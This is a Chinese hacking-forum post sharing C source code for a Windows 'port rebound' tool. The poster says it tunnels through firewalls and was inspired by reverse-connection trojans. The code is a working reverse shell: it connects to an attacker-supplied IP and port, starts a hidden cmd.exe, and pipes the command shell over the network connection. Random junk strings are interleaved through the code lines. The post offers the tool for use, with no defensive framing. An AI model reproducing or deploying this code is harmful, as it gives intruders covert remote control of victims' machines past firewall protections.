社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4687阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _(3VzI'G  
V{@<Z8sW#  
/* ============================== xZjD(e'  
Rebound port in Windows NT |Rw0$he  
By wind,2006/7 fzRzkn:=  
===============================*/ tQbDP!,A*=  
#include ?C//UN;  
#include .GM&]Hb  
x:O?Fj  
#pragma comment(lib,"wsock32.lib") .t4IR =Z  
bgqN&J)Jr)  
void OutputShell(); K7Kd{9-2  
SOCKET sClient; ?3kfh R  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K5z*DYT  
y. @7aT5  
void main(int argc,char **argv) (EIdw\  
{ {7[^L1  
WSADATA stWsaData; S3i%7f^C?N  
int nRet; EQ8jxr<p  
SOCKADDR_IN stSaiClient,stSaiServer; WZ'8{XY8  
MQ5#6 vJ  
if(argc != 3) x"K<@mR5G  
{ ^.&uYF&  
printf("Useage:\n\rRebound DestIP DestPort\n"); uO>$,s  
return; C[gCwDwl  
} 2[LT!TT  
[#$-kd~  
WSAStartup(MAKEWORD(2,2),&stWsaData); "3LOL/7f  
Xz4!#,z/  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v2G_p |+O  
Pon 2!$  
stSaiClient.sin_family = AF_INET; 9 }iEEI  
stSaiClient.sin_port = htons(0); r5Jy( ~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bv5,Yk  
cBBc^SR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /$'tO3  
{ (]^9>3{|  
printf("Bind Socket Failed!\n"); $)vljM<<  
return; FF6[qSV  
} ,h5\vWZ  
o*eU0  
stSaiServer.sin_family = AF_INET; rV)mcfw:Z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m:d P,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'W3>lAPx!  
_)O1v%]"4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kih;'>H<  
{ {3lsDU4  
printf("Connect Error!"); Zk"'x,]#  
return; dE^:-t  
} J"yO\Y  
OutputShell(); >B U 0B  
} j1*'yvGM  
kq8:h  
void OutputShell() $IA(QC_]AO  
{ 1T!b# x4  
char szBuff[1024]; 2HoTj|  
SECURITY_ATTRIBUTES stSecurityAttributes; xmb]L:4F  
OSVERSIONINFO stOsversionInfo; %N7b XKDP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v*<hE>J0  
STARTUPINFO stStartupInfo; jxL} tS{j  
char *szShell; "yXKu)_  
PROCESS_INFORMATION stProcessInformation; lPSyFb"  
unsigned long lBytesRead; Zk__CgS#  
/T]2ZX>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d^mw&F)S  
/@X!  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GL_YT.(!  
stSecurityAttributes.lpSecurityDescriptor = 0; T=(/n=  
stSecurityAttributes.bInheritHandle = TRUE; UX;?~X  
VUxuX5B3M  
Xa=oryDt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tq H7M0Ry  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8{#W F#  
YD H!N l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *9y)B|P^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ci0)kxUBF  
stStartupInfo.wShowWindow = SW_HIDE; >N62t9Ll[  
stStartupInfo.hStdInput = hReadPipe; ST5L O#5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [^ $nt  
5,})x]'x  
GetVersionEx(&stOsversionInfo); Fm_^7|  
u\ro9l  
switch(stOsversionInfo.dwPlatformId) +w[vYKSZm  
{ 7"@^JxYN  
case 1: E^rKS&P  
szShell = "command.com"; VdjS\VYe,  
break; H=9kDP${  
default: ExeD3Zj  
szShell = "cmd.exe"; )=;GQ*<8Zs  
break; Wf/r@/ q  
} %O B:lAeJ  
1PpZ*YK3z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d00#;R  
uf]S PG#/D  
send(sClient,szMsg,77,0); r@ujE,D=k  
while(1) X0Zqx1  
{ U(P^-J<n1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FkY}6  
if(lBytesRead) Xyy;BO:  
{ i'OFun+-,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3}(6z"r  
send(sClient,szBuff,lBytesRead,0); C]414Ibi  
} ]$Pl[Vegy  
else -0r 0M )  
{ g= ~Y\$&  
lBytesRead=recv(sClient,szBuff,1024,0); k#uSH eq7f  
if(lBytesRead<=0) break; `-W.uOZ0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SK [1h3d  
} E-IVv  
} :+NZW9_  
S "'0l S   
return; kH~ z07:  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五